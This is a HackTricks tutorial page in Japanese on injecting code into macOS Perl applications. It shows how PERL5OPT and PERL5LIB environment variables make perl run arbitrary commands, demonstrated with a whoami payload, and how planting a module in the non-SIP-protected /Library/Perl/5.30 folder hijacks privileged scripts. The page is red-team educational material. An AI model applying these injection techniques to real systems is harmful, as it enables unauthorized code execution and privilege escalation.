macOS Perl Applications Injection
Reading time: 4 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
PERL5OPT
と PERL5LIB
環境変数を使用して
環境変数 PERL5OPT を使用すると、perl が任意のコマンドを実行することが可能です。
例えば、このスクリプトを作成します:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
今、env変数をエクスポートし、perlスクリプトを実行します:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
別のオプションは、Perlモジュールを作成することです(例:/tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
そして、env 変数を使用します:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
依存関係を介して
Perlが実行されている依存関係フォルダーの順序をリストすることが可能です:
perl -e 'print join("\n", @INC)'
次のような結果が返されます:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
返されたフォルダのいくつかは存在しませんが、/Library/Perl/5.30
は 存在 し、SIP によって 保護されていません し、SIP によって 保護された フォルダの 前 にあります。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高権限のPerlスクリプトがそれを読み込むことができます。
warning
ただし、そのフォルダに書き込むには root である必要があり、現在ではこの TCCプロンプト が表示されます:
.png)
例えば、スクリプトが use File::Basename;
をインポートしている場合、/Library/Perl/5.30/File/Basename.pm
を作成して任意のコードを実行させることが可能です。
References
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。